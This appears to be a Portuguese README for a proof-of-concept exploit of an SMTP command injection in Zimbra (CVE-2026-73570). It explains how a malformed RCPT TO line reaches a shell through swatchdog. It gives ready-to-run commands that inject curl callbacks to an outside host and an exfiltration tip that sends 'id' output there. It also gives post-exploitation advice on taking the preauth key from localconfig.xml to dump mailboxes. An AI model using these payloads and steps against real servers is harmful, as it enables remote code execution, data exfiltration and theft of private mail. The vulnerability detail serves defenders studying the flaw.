
Python PoC para CVE-2026-73570, uma injeção de comando SMTP no Zimbra. Envia payloads RCPT TO malformados para acionar a execução de comandos de shell via swatchdog, com varredura automática de portas e verificação OOB.
Um script Python proof-of-concept (PoC) personalizado e de baixo nível para testar vulnerabilidades de injeção de comandos SMTP (CVE-2026-73570).
Esta ferramenta envia um endereço RCPT TO malformado contendo substituição de comandos no estilo shell (ex.: $(command)) para determinar se o servidor de e-mail alvo ou seu pipeline de processamento downstream passa indevidamente o endereço por um shell sem sanitização.
⚠️ AVISO: Esta ferramenta destina-se APENAS a fins educacionais e testes de segurança autorizados. Certifique-se de ter permissão explícita para testar a infraestrutura alvo. Varreduras ou explorações não autorizadas de servidores de e-mail são ilegais.
Nem toda instalação Zimbra é vulnerável. Todas estas condições devem ser verdadeiras:
zimbra-snmp está instalado (frequentemente solicitado na instalação).snmp_notify).swatchdog está em execução (ativo por padrão).Superfície de Ataque: O ataque não precisa que o SNMP (UDP/161/162) esteja exposto ao atacante. A entrada maliciosa chega via SMTP padrão.
O processo swatchdog monitora /var/log/zimbra.log usando a configuração de /opt/zimbra/conf/swatchrc.in. Ele combina ativamente entradas de log usando as seguintes expressões regulares:
/: Service status change: (\S+) (.*) changed from stopped to running/
/: Service status change: (\S+) (.*) changed from running to stopped/
O grupo de captura (.*) é tratado como um nome de serviço. O script dosnmp então interpola esse texto capturado diretamente em um comando Perl backtick snmptrap. Como backticks Perl executam via shell do sistema, quaisquer metacaracteres de shell capturados em (.*) são avaliados e executados.
Atacantes inserem o texto malicioso no log enviando um comando SMTP (como RCPT TO) cujo argumento se parece com uma linha real de status de serviço. O Postfix registra isso como sintaxe de endereço ilegal, mas o swatchdog ainda combina a regex na linha de log e passa o payload para o shell.
smtplib padrão do Python para enviar payloads brutos e não conformes com RFC exatamente como um atacante faria.--command.argparse para fácil integração em fluxos de trabalho de teste.Salve o script em um arquivo chamado CVE-2026-73570.py (ou qualquer nome de sua preferência):
# Exemplo: baixe ou crie o arquivo
nano CVE-2026-73570.py
Você pode executar o script de várias maneiras, dependendo do seu cenário de teste.
Se você não especificar uma porta, o script varrerá as portas 25, 465 e 587 e terá como alvo automaticamente a primeira porta aberta.
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://your-unique-id.requestrepo.com"
Se você já sabe a porta alvo (ex.: 465), pode pular a adivinhação da varredura.
python3 CVE-2026-73570.py --host 127.0.0.1 --port 465 --command "curl http://your-unique-id.requestrepo.com"
Se você quiser apenas verificar quais portas de e-mail estão abertas em um alvo sem enviar o payload.
python3 CVE-2026-73570.py --host 127.0.0.1 --scan-only
| Argumento | Curto | Descrição | Padrão |
|---|---|---|---|
--host | -H | IP ou domínio do host alvo. | 127.0.0.1 |
--port | -p | Porta alvo. Se omitido, varre 25, 465, 587 e tem como alvo uma porta aberta. | None (Automático) |
--command | -c | Comando shell a ser injetado no payload SMTP. | TEST_PAYLOAD |
--scan-only | -s | Apenas varre portas e sai sem enviar o payload de injeção. | False |
Executar o script sozinho apenas prova que o servidor de e-mail recebe o endereço RCPT TO malformado. Para confirmar a injeção real de comandos sem precisar de acesso direto ao sistema de arquivos ou logs do alvo, use um callback Out-Of-Band (OOB) via HTTP.
http://xyz123.requestrepo.com).curl para acessar sua URL exclusiva:
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com"
Dica Profissional (Exfiltração de Dados): Você pode exfiltrar a saída de comandos injetando-a no caminho da URL do seu callback:
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com/$(id | tr -d ' ')"
Verifique seu painel do Request Repo para ver a saída uid=0(root) no caminho solicitado.
Durante os testes, você pode receber uma resposta SMTP como esta:
[<] RCPT TO: 554 554 5.7.1 <[email protected]>: Recipient address rejected: Access denied
NÃO presuma que a vulnerabilidade falhou simplesmente porque o endereço foi rejeitado.
Muitos servidores de e-mail (como Postfix ou Exim) aceitarão sintaticamente o payload durante a transação SMTP, mas rejeitarão imediatamente a tentativa de entrega porque o domínio/destinatário não está em sua lista de relay permitida.
A vulnerabilidade CVE-2026-73570 é acionada após essa rejeição ocorrer. A string maliciosa flui para /var/log/zimbra.log como uma entrada de log de sintaxe de endereço ilegal. O swatchdog monitora este log, combina o payload e o passa para o shell.
Como o payload ainda chega a esses sistemas de backend para registro, a substituição de comandos ($()) ainda é executada. Sempre confie no seu callback OOB (ex.: Request Repo) para verificar o sucesso, independentemente do código de resposta SMTP.
Uma vez que a execução de comandos é alcançada via injeção do swatchdog, o atacante normalmente opera como o usuário zimbra. A partir daqui, o objetivo principal é frequentemente acessar os dados da caixa de correio.
Para facilitar este próximo passo, você pode usar o zimbraKing — uma ferramenta personalizada projetada para despejar caixas de correio Zimbra.
Cenário de Uso:
Durante sua fase de pós-exploração, se você conseguir ler os arquivos de configuração do Zimbra e extrair a preAuthKey (geralmente encontrada em /opt/zimbra/conf/localconfig.xml sob a chave zimbra_preauth_key) ou se obtiver credenciais válidas de conta Zimbra, você pode fornecê-las ao zimbraKing.
A ferramenta aproveita a preAuthKey ou as credenciais da conta para autenticar contra a API SOAP do Zimbra e despejar sistematicamente o conteúdo da caixa de correio alvo sem precisar interagir diretamente com o banco de dados ou sistema de arquivos subjacente.
smtplib?O smtplib integrado do Python impõe padrões RFC estritos. Se você tentar passar um endereço contendo ", $, (, e ) através de smtplib.sendmail(), a biblioteca irá ou modificar a string para torná-la "segura" ou lançar uma exceção SMTPRecipientsRefused antes que os dados cheguem à rede. Este cliente personalizado usa sockets brutos para garantir a entrega byte a byte do payload de exploração.